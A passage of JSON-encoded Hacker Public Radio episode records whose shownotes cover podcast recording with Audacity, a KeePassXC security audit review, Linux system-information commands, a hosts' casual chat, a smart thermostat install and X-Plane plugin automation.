                                                            • wikipedia: Unix\n(/ˈjuːnɪks/; trademarked as UNIX) is a family of multitasking, multiuser\ncomputer operating systems that derive from the original AT&T Unix,\nwhose development started in 1969 at the Bell Labs research center by\nKen Thompson, Dennis Ritchie, and others.
                                                            • \n
                                                            • wikipedia:\nWang Laboratories was a US computer company founded in 1951 by An Wang\nand G. Y. Chu.
                                                            • \n
                                                            • wikipedia:\nLibrary (computing).
                                                            • \n
                                                            • wikipedia:\nMagnetic-core memory was the predominant form of random-access computer\nmemory for 20 years between about 1955 and 1975.
                                                            • \n
                                                            • BASIC BASIC\n(Beginners' All-purpose Symbolic Instruction Code) is a family of\ngeneral-purpose, high-level programming languages designed for ease of\nuse. The original version was created by John G. Kemeny and Thomas E.\nKurtz at Dartmouth College in 1963.
                                                            • \n
                                                            • wikipedia:\nMicrosoft BASIC is the foundation software product of the Microsoft\ncompany and evolved into a line of BASIC interpreters and compiler(s)\nadapted for many different microcomputers. It first appeared in 1975 as\nAltair BASIC, which was the first version of BASIC published by\nMicrosoft as well as the first high-level programming language available\nfor the Altair 8800 microcomputer.
                                                            • \n
                                                            • wikipedia: A\nfloppy disk or floppy diskette (casually referred to as a floppy, or a\ndiskette) is an obsolescent type of disk storage composed of a thin and\nflexible disk of a magnetic storage medium in a square or nearly square\nplastic enclosure lined with a fabric that removes dust particles from\nthe spinning disk.
                                                            • \n
                                                            • wikipedia: A\ntape drive is a data storage device that reads and writes data on a\nmagnetic tape.
                                                            • \n
                                                            • wikipedia: In\ncomputer engineering, microarchitecture, also called computer\norganization and sometimes abbreviated as µarch or uarch, is the way a\ngiven instruction set architecture (ISA) is implemented in a particular\nprocessor.
                                                            • \n
                                                            • wikipedia: A\nmicrosleep is a sudden temporary episode of sleep or drowsiness which\nmay last for a few seconds where an individual fails to respond to some\narbitrary sensory input and becomes unconscious.
                                                            • \n
                                                            • clevo: We\noffer over 50 models from CLEVO.\n
                                                                \n
                                                              • wikipedia: Clevo\nis a Taiwanese OEM/ODM computer manufacturer which produces laptop\ncomputers exclusively.
                                                              • \n
                                                            • \n
                                                            • wikipedia:\nRapid transit or mass rapid transit (MRT), also known as heavy rail or\nmetro, is a type of high-capacity public transport generally found in\nurban areas.
                                                            • \n
                                                            • wikipedia:\nCracker Jack is an American brand of snack food that consists of\nmolasses-flavored, caramel-coated popcorn, and peanuts, well known for\nbeing packaged with a prize of trivial value inside.
                                                            • \n
                                                            • gov: UK\nDriver's Licence.\n
                                                                \n
                                                              • gov:\nLegal obligations of drivers and riders.
                                                              • \n
                                                            • \n
                                                            • sheilaswheels: We keep\nour Sheilas happy by supplying fabulous 5 Star Defaqto rated car and\nhome insurance, and that's helped us to become one of the UK's leading\ndirect insurers.
                                                            • \n
                                                            • nestle:\nYorkie was launched in 1976 by Rowntree's of York hence the name.
                                                            • \n
                                                            • wikipedia:\nJoyriding refers to driving or riding in a stolen vehicle, most commonly\na car, with no particular goal other than the pleasure or thrill of\ndoing so or to impress other people.
                                                            • \n
                                                            • oggcamp: OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.
                                                            • \n
                                                            • ubuntu: Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.\n
                                                                \n
                                                              • wikipedia:\nUbuntu.
                                                              • \n
                                                              • wikipedia:\nMark Shuttleworth.
                                                              • \n
                                                            • \n
                                                            • ubuntu:\nUbuntu tablet press pack.
                                                            • \n
                                                            • stallman: Richard Stallman's\nPersonal Site.
                                                            • \n
                                                            • elementary: The thoughtful,\ncapable, and ethical replacement for Windows and macOS.
                                                            • \n
                                                            • slackware: The Slackware\nLinux Project.
                                                            • \n
                                                            • wikipedia:\nidenti.ca was a free and open-source social networking and blogging\nservice based on the pump.io software, using the Activity Streams\nprotocol.
                                                            • \n
                                                            • wikipedia:\nGNU social (previously known as StatusNet and once known as Laconica) is\na free and open source software microblogging server written in PHP that\nimplements the OStatus standard for interoperation between\ninstallations.
                                                            • \n
                                                            • wikipedia:\nFriendica (formerly Friendika, originally Mistpark) is a free and\nopen-source software distributed social network.
                                                            • \n
                                                            • lugcast: We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.
                                                            • \n
                                                            • toastmasters\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.
                                                            • \n
                                                            • wikipedia:\nMotorola, Inc. (/ˌmoʊtəˈroʊlə/) was an American multinational\ntelecommunications company based in Schaumburg, Illinois, United\nStates.
                                                            • \n
                                                            • volla: Volla\nPhone.
                                                            • \n
                                                            • ubports: We are building a secure\n& private operating system for your smartphone.
                                                            • \n
                                                            • sailfishos: The mobile OS with\nbuilt-in privacy.
                                                            • \n
                                                            • calyxos: CalyxOS is an operating\nsystem for smartphones based on Android with mostly free and open-source\nsoftware.
                                                            • \n
                                                            • wikipedia:\nWhatsApp.
                                                            • \n
                                                            • IRC IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.
                                                            • \n
                                                            • zoom: Unified communication and\ncollaboration platform.
                                                            • \n
                                                            • jitsi: Jitsi Free &\nOpen Source Video Conferencing Projects.
                                                            • \n
                                                            • joinmastodon: Mastodon is\nfree and open-source software for running self-hosted social networking\nservices.
                                                            • \n
                                                            • wikipedia:\nKaren Sandler is the executive director of the Software Freedom\nConservancy, former executive director of the GNOME Foundation, an\nattorney, and former general counsel of the Software Freedom Law\nCenter.
                                                            • \n
                                                            • fosdem: FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.
                                                            • \n
                                                            • southeastlinuxfest:\nThe SouthEast LinuxFest is a community event for anyone who wants to\nlearn more about Linux and Open Source Software.
                                                            • \n
                                                            • olfconference: OLF\n(formerly known as Ohio LinuxFest) is a grassroots conference for the\nGNU/Linux/Open Source Software/Free Software community that started in\n2003 as a large inter-LUG (Linux User Group) meeting and has grown\nsteadily since.
                                                            • \n
                                                            • linuxfests: A home for\neducational programs focused on free and open source software &\nculture.
                                                            • \n
                                                            • wikipedia:\nNotacon (pronounced \"not-a-con\") was an art and technology conference\nwhich took place annually in Cleveland, Ohio from 2003 to 2014.
                                                            • \n
                                                            • penpalworld: a place where\nyou can meet over 3,000,000 pen pals from every country on the\nplanet.
                                                            • \n
                                                            • redhat:\nRed Hat Enterprise Linux.
                                                            • \n
                                                            • openssl: The OpenSSL Project\ndevelops and maintains the OpenSSL software - a robust,\ncommercial-grade, full-featured toolkit for general-purpose cryptography\nand secure communication.
                                                            • \n
                                                            • STEM
                                                            • \n
                                                            • wikipedia:\nObsessive–compulsive disorder.
                                                            • \n
                                                            • cdc:\nAutism.
                                                            • \n
                                                            • wikipedia:\nAsperger syndrome.
                                                            • \n
                                                            • askubuntu:\nManual partitioning during installation.
                                                            • \n
                                                            • wikipedia:\nColon cancer staging.
                                                            • \n
                                                            • cdc:\nGet Vaccinated Before You Travel.
                                                            • \n
                                                            • sqlite: SQLite is a\nC-language library that implements a small, fast, self-contained,\nhigh-reliability, full-featured, SQL database engine.
                                                            • \n
                                                            • wikipedia:\nFacial recognition system.
                                                            • \n
                                                            • wikipedia:\nTribalism is the state of being organized by, or advocating for, tribes\nor tribal lifestyles.
                                                            • \n
                                                            • wikipedia:\nSouthern hospitality.
                                                            • \n
                                                            • wikipedia: The\nKroger Company, or simply Kroger, is an American retail company that\noperates (either directly or through its subsidiaries) supermarkets and\nmulti-department stores throughout the United States.
                                                            • \n
                                                            • wikipedia:\nProsopagnosia, more commonly known as face blindness, is a cognitive\ndisorder of face perception in which the ability to recognize familiar\nfaces, including one's own face, is impaired, while other aspects of\nvisual processing and intellectual functioning remain intact.
                                                            • \n
                                                            • wikipedia:\nT-Mobile is the brand name used by some of the mobile communications\nsubsidiaries of the German telecommunications company Deutsche Telekom\nAG in the Czech Republic, Poland, the United States and by the former\nsubsidiary in the Netherlands.
                                                            • \n
                                                            • stackexchange:\nWhere did the phrase \"batsh-t crazy\" come from?
                                                            • \n
                                                            • wikipedia: A\nconspiracy theory is an explanation for an event or situation that\nasserts the existence of a conspiracy by powerful and sinister groups,\noften political in motivation, when other explanations are more\nprobable.
                                                            • \n
                                                            • brigs: At Brigs, we want\neveryone to get exactly what they're craving!
                                                            • \n
                                                            • papajohns: Papa Johns.
                                                            • \n
                                                            • dominos: Domino's Pizza,\nInc., trading as Domino's, is a Michigan-based multinational pizza\nrestaurant chain founded in 1960 and led by CEO Russell Weiner.
                                                            • \n
                                                            • wikipedia:\nLoitering is the act of remaining in a particular public place for a\nprolonged amount of time without any apparent purpose.
                                                            • \n
                                                            • wikipedia:\nPsychiatric hospitals, also known as mental health hospitals, behavioral\nhealth hospitals, are hospitals or wards specializing in the treatment\nof severe mental disorders, such as schizophrenia, bipolar disorder,\neating disorders, dissociative identity disorder, major depressive\ndisorder and many others.
                                                            • \n
                                                            • wikipedia:\nTherapist is a person who offers any kinds of therapy.
                                                            • \n
                                                            \n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3875,"date":"2023-06-09","title":"Parlons Linux Season 1 Episode 7, le sticky bit","duration":340,"summary":"A sample episode from a new entry to the Free Culture Podcast list","notes":"\n","hostid":30,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"freeculturepodcasts,creative commons,Parlons Linux","version":0,"downloads":0,"valid":1}, {"id":3876,"date":"2023-06-12","title":"Recording An Episode For Hacker Public Radio","duration":478,"summary":"Sharing My Experience As A First-Time Contributor","notes":"

                                                            Hello again, my name is André Jaenisch, also known as Ryuno-Ki.

                                                            \n

                                                            Last week I recorded my first episode for Hacker Public Radio, the\npodcast you are listening to right now. This one is recorded on 15th May\n2023. Again I'm publishing it under a Creative Commons Attribution\nShare-Alike 4.0 International License.

                                                            \n

                                                            Getting contacted

                                                            \n

                                                            I was surprised to get mentioned on the Fediverse after submitting my\nshow. You can find me there at RyunoKi@layer8.space (no dash, eight as\ndigit, link in the shownotes) in case you want to reach out to me.

                                                            \n

                                                            I'm also delighted to have received an email even before my last\nepisode was airing. I was asked whether I am interested in recording an\nepisode on my experience with contributing to Hacker Public Radio for\nthe first time. So this is going to be the topic for today. As a warning\nupfront: I have a reputation of overthinking stuff. I blame my\nneurodiversity for it. That being said I'm positive that sharing my\nthought process can help make the service better for everyone.

                                                            \n

                                                            About recording software

                                                            \n

                                                            I'm recording this episode again using Audacity. Now there is choice\nabout which software you can use for a podcast. Online based as well as\noffline one. Audacity was in the news for sending analytics home.\nHowever I couldn't find any indication in the settings for it (to\nopt-out). The forks of the software weren't packaged up for Debian as\nfar as I could tell. Or perhaps they require an additional sources.list\nentry, I don't know.

                                                            \n

                                                            Before recording my very first podcast here I had only experience\nwith some video recording. Oftentimes done by the host but I also\nprepared a few videos for an online course (which I couldn't publish\nbecause life happened) and talks I gave during the pandemic years.

                                                            \n

                                                            Learning about how to\npodcast

                                                            \n

                                                            As I often do when I enter a new subject, I went to the library and\ngrabbed some books to learn more. In particular I lended Podcasts by\nDirk Hildebrand. A small\nbook in German published at Haufe. I add a link in the\nshownotes.

                                                            \n

                                                            Reading through it I learned that I'm doing okay. It's really easy to\nstart a podcast as HPR promises! The thing I should spend some attention\non is keeping a consistent distance to the microphone, enable some level\nof feedback during the recording so that I can listen to what is\nrecorded while speaking (using my gaming headset Logitech G230) and\nprepare a script.

                                                            \n

                                                            I don't have to think about designing images for the show or episode\nbecause HPR will take care of that for me. It might be different if I\nstart my own podcast. Perhaps using Funkwhale or Castopod. Right now I'm not taking\nsteps towards that. Mainly because I need to rent some webspace first.\nIn my experience streaming media takes considerable amount of bandwidth.\nPair that with hosters that try hard to convince you to buy your domains\nwith them as well and the choice shrinks. I have my DNS provider\nalready, thank you very much.

                                                            \n

                                                            Adapting lessons learned

                                                            \n

                                                            I looked into how to do that in Audacity and I think the best I could\ndo for now is hitting on the microphone icon next to the meters in the\nupper right of the interface and enable observation before I start\nrecording. Also leaving a little bit of time before and after the\nrecording allows me to cut keyboard clicks for starting and stopping the\nrecording. In HPR 3802 I also learned about skipping silences which is a\nEffect in the Special category here. I hope I don't have pauses so long\nthat it warrants to truncate them.

                                                            \n

                                                            My main thought about going with Audacity was post-processing\ndirectly after the recording. I learned from my talks that I already\nfeel comfortable with a script in front of me. It gives me the security\nI need to avoid too many ums.

                                                            \n

                                                            What's missing on HPR

                                                            \n

                                                            However, I feel like a few things are missing. Considering that this\nis a podcast that is distributed through HPR and its partners I would\nlike to have chapter markers. I couldn't find a hint on how to add them\nin the form I was presented. Using timestamps it allows to easily see\nthe outline of a recording which aids in the decision making process on\nwhether it's worth the time to listen to a particular episode. I hope\nyou consider the episodes here useful to make time for them :) Thank\nyou.

                                                            \n

                                                            Another question mark I had when preparing the recording were the\nsettings. I'm used to have a guideline when recording videos for an\nonline talk. Things like preferred format and container, to technical\ndetails like stereo or mono to the sampling rate (value and whether\nstatic or variable). The only thing I found is a hint that submissions\nwill be transcoded to mono. I record in stereo with the default 44,1 kHz\nsampling rate here. There was no recommendations on the format so I went\nwith OGG Vorbis instead of MP3 because of license freedom. Audacity\nappear to not support FLAC so I have to use a lossy format. It's true\nthat MP3 enjoys wide support, but I want to encourage freedom when given\nthe choice. I could have chosen WAV files but those tend to become huge\nreally fast.

                                                            \n

                                                            Adding metadata

                                                            \n

                                                            Now I also add metadata to the recording. Vorbis offers comments for\nthat. You can compare it to ID3 tags for MP3 files. Given that I\ncouldn't find a way to enter these chapter information in HPR web forms\nI'm experimenting with EasyTAG from the debian repository. From reading\nthe source code of my podcatcher of choice (AntennaPod for Android as\ndistributed in the F-Droid app store) I can tell that it parses these\ncomments at least. If that doesn't yield results I hope to see, there is\nvorbiscomment of the vorbis-tools package for the command line. And Kid3\nwith a Qt or CLI interface. Expect some slightly different metadata by\nme over the course of my contributions.

                                                            \n

                                                            Writing shownotes

                                                            \n

                                                            Last thing I want to highlight before ending this episode is\nshownotes. Now I have more experience with blogging than recording a\npodcast. When researching recommendations online there is all this SEO\nfluff that goes into writing subtitles. Usually with catchy titles,\nclickbait and all the rest. I have opinions here. However, I enjoy that\nthere is no „leave a rating and a review” part in the episodes I\nlistened to so far, because a podcast is a special RSS feed basically.\nWhy would I want to bind myself to a special platform? But then I also\nwant to be able to read up and search through the content of a podcast\nepisode. Right now I'm sharing my prepared script as a shownote. It\ncould come off as a wall of text. I'm open to feedback on this front.\nYou can find my Keyoxide profile below. Please do reach out to me.

                                                            \n

                                                            Closing

                                                            \n

                                                            And that's it for today. I thank you for listening to me. Looking\nforward to hear from you. Be it in writing or as an episode on HPR.

                                                            \n

                                                            Homepage: jaenis.ch
                                                            \nE-Mail: andre.jaenisch.wdc@posteo.net
                                                            \nKeyoxide: andre.jaenisch@posteo.de
                                                            \nMastodon: @RyunoKi@layer8.space

                                                            \n","hostid":419,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hpr,reflection,audacity,recording,metadata","version":0,"downloads":0,"valid":1}, {"id":3877,"date":"2023-06-13","title":"KeePass X.C. audit review.","duration":2552,"summary":"Sgoti discusses the Keepass X.C. audit by Zaur Molotnikov","notes":"
                                                              \n
                                                            • Article: KeePassXC -\nCross-platform Password Manager.
                                                              \n

                                                            • \n
                                                            • Article: KeePassXC\nApplication Security Review
                                                              \n

                                                              \n
                                                                \n
                                                              • Supporting Article: KeePassXC Release 2.7.4
                                                                \n
                                                              • \n
                                                              • Supporting Article: KeePassXC Release 2.7.5
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: KeePassXC: User\nGuide.
                                                              \n

                                                            • \n
                                                            • Article: Magic\n(cryptography).
                                                              \n

                                                            • \n
                                                            • Article: Federal Information\nProcessing Standards.
                                                              \n

                                                              \n
                                                                \n
                                                              • The Federal Information Processing Standards (FIPS) of the United\nStates are a set of publicly announced standards that the National\nInstitute of Standards and Technology (NIST) has developed for use in\ncomputer systems of non-military, American government agencies and\ncontractors. FIPS standards establish requirements for ensuring computer\nsecurity and interoperability, and are intended for cases in which\nsuitable industry standards do not already exist. Many FIPS\nspecifications are modified versions of standards the technical\ncommunities use, such as the American National Standards Institute\n(ANSI), the Institute of Electrical and Electronics Engineers (IEEE),\nand the International Organization for Standardization (ISO).
                                                                \n
                                                              • \n
                                                              • Supporting Article: FIPS\nGeneral Information.
                                                                \n
                                                              • \n
                                                              • FIPS are standards and guidelines for federal computer systems that\nare developed by National Institute of Standards and Technology (NIST)\nin accordance with the Federal Information Security Management Act\n(FISMA) and approved by the Secretary of Commerce. These standards and\nguidelines are developed when there are no acceptable industry standards\nor solutions for a particular government requirement. Although FIPS are\ndeveloped for use by the federal government, many in the private sector\nvoluntarily use these standards.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: G502 HERO High\nPerformance Gaming Mouse.
                                                              \n

                                                              \n
                                                                \n
                                                              • Dual-Mode Hyper-Fast Scroll Wheel
                                                                \n
                                                              • \n
                                                              • Unlock the scroll wheel for hyper-fast continuous scrolling to spin\nquickly through long pages, or lock it down for single click precision\nscrolling. The weighty, metal wheel delivers confident, smooth and\nsatisfying control for either mode.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            General KeePassXC Information.\n 

                                                            \n
                                                              \n
                                                            • Why KeePassXC instead of KeePassX?
                                                              \n
                                                                \n
                                                              • KeePassX is an amazing password manager, but hasn't seen much active\ndevelopment for quite a while. Many good pull requests were never merged\nand the original project is missing some features which users can expect\nfrom a modern password manager. Hence, we decided to fork KeePassX to\ncontinue its development and provide you with everything you love about\nKeePassX plus many new features and bugfixes.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Why KeePassXC instead of KeePass?
                                                              \n
                                                                \n
                                                              • KeePass is a very proven and feature-rich password manager and there\nis nothing fundamentally wrong with it. However, it is written in C# and\ntherefore requires Microsoft's .NET platform. On systems other than\nWindows, you can run KeePass using the Mono runtime libraries, but you\nwon't get the native look and feel which you are used to.
                                                                \n
                                                              • \n
                                                              • KeePassXC, on the other hand, is developed in C++ and runs natively\non all platforms giving you the best-possible platform\nintegration.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Why is there no cloud synchronization feature built into\nKeePassXC?
                                                              \n
                                                                \n
                                                              • Cloud synchronization with Dropbox, Google Drive, OneDrive,\nownCloud, Nextcloud etc. can be easily accomplished by simply storing\nyour KeePassXC database inside your shared cloud folder and letting your\ndesktop synchronization client do the rest. We prefer this approach,\nbecause it is simple, not tied to a specific cloud provider and keeps\nthe complexity of our code low.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • KeePassXC allows me to store my TOTP secrets. Doesn't this alleviate\nany advantage of two-factor authentication?
                                                              \n
                                                                \n
                                                              • Yes. But only if you store them in the same database as your\npassword. We believe that storing both together can still be more secure\nthan not using 2FA at all, but to maximize the security gain from using\n2FA, you should always store TOTP secrets in a separate database,\nsecured with a different password, possibly even on a different\ncomputer.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • How do I use the KeePassXC CLI tool with the AppImage?
                                                              \n
                                                                \n
                                                              • Starting with version 2.2.2, you can run the KeePassXC CLI tool from\nthe AppImage by executing it with the cli argument:
                                                                \n
                                                              • \n
                                                              • ./KeePassXC-*.AppImage cli
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Additional Information.

                                                            \n
                                                              \n
                                                            • What Is Infinite Scrolling?
                                                              \n
                                                                \n
                                                              • Infinite scrolling is a technique that loads more content as you\nscroll. It allows you to continue scrolling indefinitely and is\nsometimes known as endless scrolling.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: blackeRnel Tries to help yoU undeRstand\nEnough about math and programming.
                                                              \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"KeepassXC, audit, Zaur Molotnikov","version":0,"downloads":0,"valid":1}, {"id":3878,"date":"2023-06-14","title":"Linux commands to gather information about your system","duration":557,"summary":"You need this information to understand your system better","notes":"

                                                            https://www.redhat.com/sysadmin/linux-system-info-commands

                                                            \n
                                                              \n
                                                            • The various ls commands lscpu, lsblk, lspci,
                                                            • \n
                                                            • The disk commands df, fdisk and mount
                                                            • \n
                                                            • Usbutils
                                                            • \n
                                                            • pciutils
                                                            • \n
                                                            \n

                                                            Free

                                                            \n
                                                            dmidecode -t memory or -t bios or -t system
                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"system, memory, Cpu, ls","version":0,"downloads":0,"valid":1}, {"id":3879,"date":"2023-06-15","title":"HPR at Hillend","duration":2747,"summary":"MrX and Dave Morriss have lunch and record a chat","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            Hosts:

                                                            \n
                                                              \n
                                                            • MrX
                                                            • \n
                                                            • Dave\nMorriss
                                                            • \n
                                                            \n

                                                            We recorded this on Saturday May 20th 2023. We met in\nperson again, and as before first visited the pub called The\nSteading where we had lunch. Then we adjourned to Dave’s Citroen\ncar (Studio C) in the car park, and recorded a chat.

                                                            \n

                                                            The region where we met is close to a village called\nHillend, which led to the show title.

                                                            \n

                                                            Topics discussed

                                                            \n
                                                              \n
                                                            • ChatGPT:\n
                                                                \n
                                                              • MrX did two shows in May using ChatGPT. He has used it more than\nDave has.
                                                              • \n
                                                              • MrX has an iPhone and can use ChatGPT from it. He uses it as a\nsource of information when out and about. For instance, to find out\nabout the history of Musselburgh\nHarbour.
                                                              • \n
                                                              • MrX has also used ChatGPT to write experimental Python scripts.
                                                              • \n
                                                              • There is a TED\ntalk by Greg Brockman, the inventor of ChatGPT.
                                                              • \n
                                                              • Discussion of the Call\nAnnie app
                                                              • \n
                                                              • ELIZA the program\nthat was written in the 1960s and simulated conversation well enough to\nconvince people.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Audacity/Tenacity audio editors:\n
                                                                \n
                                                              • Web sites: Audacity\nand Tenacity.
                                                              • \n
                                                              • Audacity\nWikipedia page
                                                              • \n
                                                              • MrX and Dave have both used Audacity for several years.
                                                              • \n
                                                              • Audacity was forked after it was taken over by Muse Group, and Tenacity was developed.\nHowever, it doesn’t seem that there have been any releases on Tenacity\nto date.
                                                              • \n
                                                              • The most recent versions of Audacity have contained changes - in\nparticular the way the audio project is stored has changed. Instead of a\ndirectory filled with various files there is now a single project file\nwith the extension .aup3 which is a SQLite database. This\nwas changed in March 2021 for Version 3.0.\n
                                                                  \n
                                                                • Previously Audacity stored the project as a file called\n<project>.aup and a directory called\n<project>_data/ containing sub-directories and\nfiles.
                                                                • \n
                                                              • \n
                                                              • MrX reports changes in the way multiple tracks are handled. Dave\nfinds that the horizontal scrollbar has disappeared (which seems to be a\nbug).
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Dr John Campbell:\n
                                                                \n
                                                              • YouTube\nchannel
                                                              • \n
                                                              • During the COVID-19 epidemic the channel contained a lot of\ninformation about the SARS-CoV-2 virus, vaccines, disease, treatments,\netc, which seemed to be helpful and well researched.
                                                              • \n
                                                              • At one point there was a lot of talk about Ivermectin as a drug that\ncould help with the disease, but although this received no support from\nscientific research, it seemed to be receiving more and more exposure on\nthe channel.
                                                              • \n
                                                              • From then on the quality of the content on the channel seemed to\ndeteriorate, and it no longer seems trustworthy.
                                                              • \n
                                                              • Other sources have been critical, including Debunk\nthe Funk with Dr Wilson
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • The Doctor Who Exhibition:\n
                                                                \n
                                                              • Dave met with Andrew Conway and Andrew’s friend, and all went to the\nexhibition held at the National Museum of Scotland.
                                                              • \n
                                                              • The exhibition contained a lot of Doctor Who memorabilia, including\nsome original props.
                                                              • \n
                                                              • MrX and the group that went to the exhibition have all watched\nDoctor Who over the years. All have lost interest at some point but then\nresumed, particularly after the show was restarted in 2005 with\nChristopher Eccleston and Billie Piper.
                                                              • \n
                                                              • Discussion about the BBC\nRadiophonic Workshop where the Doctor Who sound effects were made as\nwell as the signature tune. Also the Mellotron, a keyboard\nthat played tape loops.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Mechanical musical instruments:\n
                                                                \n
                                                              • The Swedish band Wintergatan\nuse mechanical instruments in their music and Martin Molin, a\nband member is responsible for some of them. He did a series on YouTube\nabout mechanical instruments: Music\nMachine Mondays at the Museum\nSpeelklok in Utrecht which is great to watch if you are\ninterested.
                                                              • \n
                                                              • Dave also mentioned musical instrument museums in Berlin\nand Brussels.
                                                              • \n
                                                              • MrX mentioned a museum in Dalbeattie, a town\nin Dumfries and\nGalloway in the Scottish Borders. In the museum there had been a\nchance to play a barrel organ.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • YouTube channels:\n
                                                                \n
                                                              • Dave:\n
                                                                  \n
                                                                • (Mentioned earlier) Debunk\nthe Funk with Dr Wilson - the host, Dan Wilson, has a Ph.D. in\nmolecular biology that covers bad science while making good science\naccessible. The channel focuses mainly on pseudoscience surrounding the\nanti-vaccine movement and COVID misinformation.
                                                                • \n
                                                                • Little\nChinese Everywhere - Yan is a Human Geographer who studied in\nSwitzerland. The first season was “The Longest Way Back Home\n(Switzerland to China)” where she travelled over land to China. She\nis now producing videos for season 2 about China itself. She plans to\nvisit every province in mainland China and make videos.\n
                                                                    \n
                                                                  • Dave mentioned the episode about Yanjin City in\nYunnan. It is mentioned in Wikipedia as the “World’s\nNarrowest City”, either side of the narrow Heng River valley, a\ntributary of the Yangtze.
                                                                  • \n
                                                                • \n
                                                              • \n
                                                              • MrX:\n
                                                                  \n
                                                                • Ron Mattino - a\nchannel dedicated to electronics, programming and engineering.\n
                                                                    \n
                                                                  • Mentioned episode about the pins on a smartphone battery: Why do MOBILE\nBATTERIES have THREE terminals? A simple Explanation.
                                                                  • \n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Artificial Intelligence:\n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • Science misinformation:\n
                                                                \n
                                                              • Dr John\nCampbell’s YouTube channel
                                                              • \n
                                                            • \n
                                                            \n\n\n
                                                              \n
                                                            • YouTube:\n
                                                                \n
                                                              • Debunk\nthe Funk with Dr Wilson
                                                              • \n
                                                              • Little\nChinese Everywhere
                                                              • \n
                                                              • Ron Mattino
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Edinburgh, Hillend, discussion","version":0,"downloads":0,"valid":1}, {"id":3880,"date":"2023-06-16","title":"Installing a Google Nest Thermostat","duration":791,"summary":"I installed a new smart thermostat","notes":"

                                                            Our old thermostat was breaking down to the point that we could not\nchange the temperature, so it was time for a change. And since smart\nthermostats have gotten pretty good I decided that I wanted to install\none and take more control of my environment.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Thermostat, Google Nest, installation","version":0,"downloads":0,"valid":1}, {"id":3881,"date":"2023-06-19","title":"Xplane_VatSim_2022","duration":1181,"summary":"I talk about vatsim and xplane Obsession","notes":"

                                                            https://github.com/freeload101/SCRIPTS/tree/master/VatSim_OLD

                                                            \n

                                                            Xplane11

                                                            \n

                                                            This repo is dedicated to xplane plugin automation!

                                                            \n

                                                            VATSIM DOCS

                                                            \n

                                                            https://rmccurdy.com/.scripts/downloaded/VATSIM/TRAINING_CBT_ZAE_ZTL_BIBLE_S1_S2_20210402.zip

                                                            \n\n

                                                            logic:

                                                            \n
                                                              \n
                                                            • check for admin
                                                            • \n
                                                            • check for xplane binary
                                                            • \n
                                                            • have config file and folder for plugins/resources to be\nimported
                                                            • \n
                                                            • prompt install of stuff if found in the folders for Ortho4XP or\nalpilotx
                                                            • \n
                                                            • backup files to be modified
                                                            • \n
                                                            • automate Ortho4XP
                                                            • \n
                                                            • automate alpilotx
                                                            • \n
                                                            • automate common plugin installs (traffic / lighting / models/planes\netc)
                                                            • \n
                                                            \n

                                                            Models:

                                                            \n
                                                              \n
                                                            • ZIBO 737-800 https://drive.google.com/file/d/1v-mBJ92EpV5sDPbH4s-T4EYmL2WQsZJf/view?usp=sharing
                                                            • \n
                                                            • Ultimate 737-700
                                                            • \n
                                                            • Ultimate 737-900
                                                            • \n
                                                            • Flight Factor B777-200LR
                                                            • \n
                                                            • Default B747-400 ???
                                                            • \n
                                                            \n

                                                            Utilities:

                                                            \n
                                                              \n
                                                            • LiveTraffic
                                                            • \n
                                                            \n

                                                            Todo Plugins?:

                                                            \n
                                                              \n
                                                            • https://forums.x-plane.org/index.php?/files/file/50472-single-pilot-assistant-for-zibo-mod-737-800/&tab=reviews&sort=newest#review-81477

                                                            • \n
                                                            • Autogate

                                                            • \n
                                                            • FlyWithLua ?

                                                            • \n
                                                            • Zibo 737-800x

                                                            • \n
                                                            • Headshake

                                                            • \n
                                                            • Vivid Sky

                                                            • \n
                                                            • Airport Environment HD

                                                            • \n
                                                            • Terrain Radar

                                                            • \n
                                                            • Avitab

                                                            • \n
                                                            • VFR Photo Scenery

                                                            • \n
                                                            • Aerosoft MegaAirports

                                                            • \n
                                                            • XTraffic

                                                            • \n
                                                            • XPFlightplanner

                                                            • \n
                                                            • XSquawkBox

                                                            • \n
                                                            • x-vision.pro

                                                            • \n
                                                            • FlyWithLua

                                                            • \n
                                                            • betterpushback

                                                            • \n
                                                            • betterpushbackc ?!? (not working for my build )

                                                            • \n
